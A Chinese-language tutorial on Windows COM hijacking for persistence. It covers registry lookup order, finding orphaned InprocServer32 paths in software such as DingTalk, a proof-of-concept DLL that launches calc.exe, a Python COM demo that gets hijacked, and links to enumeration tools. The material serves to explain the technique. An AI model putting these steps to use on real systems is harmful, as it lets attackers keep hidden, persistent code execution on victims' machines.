实现原理
COM是Component Object Model (组件对象模型)。是Windows上的一个系统,可以通过操作系统实现软件组件之间的交互,它是开发软件组件的一种方法。
组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API
细节
关于CLSID
typedef struct _GUID {
DWORD Data1; // 随机数
WORD Data2; // 和时间相关
WORD Data3; // 和时间相关
BYTE Data4[8]; // 和网卡MAC相关
} GUID;
typedef GUID CLSID; // 组件ID
typedef GUID IID; // 接口ID
#define REFCLSID const CLSID &
// 常见的声明和赋值方法
CLSID CLSID_Excel = {0x00024500,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
struct __declspec(uuid("00024500-0000-0000-C000-000000000046")) CLSID_Excel;
class DECLSPEC_UUID("00024500-0000-0000-C000-000000000046") CLSID_Excel;
// 注册表中的表示方法
{00024500-0000-0000-C000-000000000046}
简单的来说,就是代表COM组件中的类,可以使用python来生成一个CLSID:
import pythoncom
pythoncom.CreateGuid()
Windows系统中应用程序读取COM注册表信息的顺序如下:
HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
而一般进行劫持时最好使用不需要提升特权的HKCU
而是尽量选取HKCR
劫持原理
通过劫持COM引用和关系在合法软件中插入恶意代码,达成持久化目标。劫持COM对象需要修改Windows注册表,替换某个合法系统组件的引用,该操作可能导致该组件无法正常执行。当系统组件通过正常系统调用执行时,攻击者的代码就会被执行。攻击者可能会劫持频繁使用的对象,以维持一定程度的持久化驻留,但不大会破坏系统内的常见功能,避免系统出现不稳定状态导致攻击行为被发现。
实现方法
一种常见的COM劫持方法是,将恶意DLL或者EXE文件放置到废弃的COM组件引用路径中。当COM组件通过正常系统调用执行时,攻击者的恶意代码就会被执行。该方法也是本文主要讨论的。
当使用这种方法时:
– 1.枚举所有LocalServer32和InprocServer32值(路径)
– 2.标准化二进制路径以删除参数等信息
– 3.验证二进制路径是否存在并定位丢失的文件
当某些软件注册COM组件在卸载时未及时清楚注册表中的组件,便可以通过在该注册路径上直接写入对应COM组件的恶意DLL文件,并且得知其CLSID后:
rundll32.exe -sta {CLSID}
- or -
rundll32.exe -sta ProgID
基于这种思路,可以利用脚本https://github.com/earthmanET/COM-Hijacker 用于枚举可能存在COM劫持的LocalServer32/InprocServer32值
当发现有废弃的COM组件需要调用一个可读可写的路径中的DLL时,而该DLL并不存在,此时我们就可以在该路径中植入恶意的DLL,这样当该组件被调用是就会执行恶意DLL实现权限维持

我们发现edge和dingding都存在废弃的组件,并且调用了对应的动态链接库,这里还需要引入两个概念:
InprocServer32和LocalServer32(以及InprocServer和LocalServer)键值是COM服务(例如DLL、CPL、EXE和OCX)的引用点,这里简单理解为LocalServer32可以看成是可执行文件的路径,而InprocServer32则是调用的共享链接库DLL等路径

可以看到的确不存在该DLL,我们尝试通过VScode创建一个DLL,并且调用弹出计算器
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdio.h"
#include "stdlib.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
当生成完成后,我们会发现右击任意文件都会弹出计算器:

找寻原因后发现:

而我们找到该废弃COM组件加载的也是Shell Extension
,即右键扩展,因此相当于劫持了钉钉的右键扩展,而操作文件时会触发钉钉的右键扩展,因此实现了右击劫持
另一种常见的方法是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截,让程序提前读取我们的设置好的恶意DLL或者EXE。COM劫持原理在某种程度上近似于DLL劫持。
可以使用Process Monitor来发现缺少CLSID且不需要提升特权(HKCU)的COM服务器。可以使用以下过滤器配置过程监视器:
- 1.操作是RegOpenKey
- 2.结果是NAME NOT FOUND
- 3.路径以InprocServer32结尾
- 4.排除路径是否以HKLM开头

可以看到在加载默认一个路径时,显示的为未找到,但是在第二个默认路径中,是找到的。
那我们只需要把劫持的文件路径注册到第一个默认表中,即可。
再次调用时就会优先调用劫持的文件路径实现COM劫持
这里以一个例子作为案例进行分析:
首先使用Python注册一个COM组件,实现的内容就是对两个数进行加法运算:
# coding = utf-8
import pythoncom
CLSID = pythoncom.CreateGuid()
class addDemo(object):
_public_methods_ = ['AddNumber']
_reg_progid_ = "Crispr.AddNumber"
_reg_clsid_ = CLSID
def AddNumber(self, number1, number2):
number1 = number1 + number2
return number1
if __name__ == '__main__':
print("Registering COM Server")
import win32com.server.register
win32com.server.register.UseCommandLine(addDemo)
运行注册到注册表中

在注册表中寻找该CLSID可以看到在注册表中已经注册了该COM组件:

将该条注册表进行导出:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}]
@="Crispr.AddNumber"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\Debugging]
@="0"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\Implemented Categories]
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\Implemented Categories\{B3EF80D0-68E2-11D0-A689-00C04FD658FF}]
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\InprocServer32]
"ThreadingModel"="both"
@="pythoncomloader27.dll"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\LocalServer32]
@="C:\\PYTHON~1\\pythonw.exe \"C:\\PYTHON~1\\lib\\site-packages\\win32com\\server\\localserver.py\" {B920852B-61B8-4E51-B364-B8BF0951D093}"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\ProgID]
@="Crispr.AddNumber"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\PythonCOM]
@="addCom.addDemo"
[HKEY_CLASSES_ROOT\CLSID\{B920852B-61B8-4E51-B364-B8BF0951D093}\PythonCOMPath]
@="C:\\Users\\86189\\Desktop\\learn python\\Windows"
可以看到由于是Python,通过 pythoncomloader27.dll
和 pythonw.exe
来解释加载写好的COM组件的Crispr.AddNumber
类函数功能。

在这里我们通过Process Monitor
来看下该程序实际读取注册表的顺序关系:

可以看到程序会优先从HKCU\Software\Classes\CLSID\
中加载,而结果是NAME NOT FOUND
这就意味着该注册表项是没有值的,故此,这个就是一个可以劫持的过程。我们只需要把需要劫持的相关路径注册到第一行中,等程序再次加载时,就会达到劫持效果。
因此这种方法的思路就是可以劫持第一个默认表,这里我们为了演示方便直接在注册表中进行修改:

可以看到指向D:\
根目录,我们在D盘根目录创建一个同样的文件,但是把类方法的加号改成了乘号,并且调用os弹出计算器
同样运行python2 testcom.py
后发现的确将加法改成了乘法,并且出现计算器实现了劫持

一些工具
https://github.com/nccgroup/acCOMplice
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Get-ScheduledTaskComHandler.ps1
https://github.com/earthmanET/COM-Hijacker/blob/main/COM-Hijacker.ps1
https://github.com/3gstudent/COM-Object-hijacking/blob/master/COM%20Object%20hijacking%20persistence.ps1
参考:
http://sh1yan.top/2019/06/29/Principle-and-Practice-of-COM-Component-Hijacking/
https://www.4hou.com/posts/Mo51
https://earthmanet.github.io/posts/2021/02/%E6%BB%A5%E7%94%A8comcom%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81/